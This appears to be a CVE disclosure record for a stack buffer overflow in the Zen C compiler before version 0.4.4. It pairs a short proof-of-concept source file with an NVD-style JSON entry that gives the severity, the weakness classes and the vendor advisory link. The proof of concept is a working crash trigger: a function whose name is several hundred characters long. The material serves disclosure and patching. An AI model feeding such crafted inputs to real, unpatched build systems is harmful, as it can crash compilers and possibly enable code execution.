CVE-2026-33491

// PoC for CVE-2026-33491: Zen C Stack-based Buffer Overflow // Description: Trigger the overflow by defining a function with an excessively long name. // Usage: Save as exploit.zc and compile with vulnerable Zen C compiler. // Define a function with a name longer than the internal buffer limit (e.g., 500+ characters) fn AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA() -> int { return 0; } fn main() -> int { return 0; }

{"cve": {"id": "CVE-2026-33491", "sourceIdentifier": "[email protected]", "published": "2026-03-26T19:17:04.333", "lastModified": "2026-05-01T14:38:20.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zen C is a systems programming language that compiles to human-readable GNU C/C11. Prior to version 0.4.4, a stack-based buffer overflow vulnerability in the Zen C compiler allows attackers to cause a compiler crash or potentially execute arbitrary code by providing a specially crafted Zen C source file (`.zc`) with excessively long struct, function, or trait identifiers. Users are advised to update to Zen C version v0.4.4 or later to receive a patch."}, {"lang": "es", "value": "Zen C es un lenguaje de programación de sistemas que compila a GNU C/C11 legible por humanos. Antes de la versión 0.4.4, una vulnerabilidad de desbordamiento de búfer basado en pila en el compilador de Zen C permite a los atacantes causar un fallo del compilador o potencialmente ejecutar código arbitrario al proporcionar un archivo fuente de Zen C especialmente diseñado ('.zc') con identificadores de estructura, función o rasgo excesivamente largos. Se aconseja a los usuarios actualizar a la versión v0.4.4 de Zen C o posterior para recibir un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zenc-lang:zen_c:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.4.4", "matchCriteriaId": "87358648-AF3A-4D67-86CE-03A43A883BC1"}]}]}], "references": [{"url": "https://github.com/zenc-lang/zenc/security/advisories/GHSA-rv74-w6q7-h8xr", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}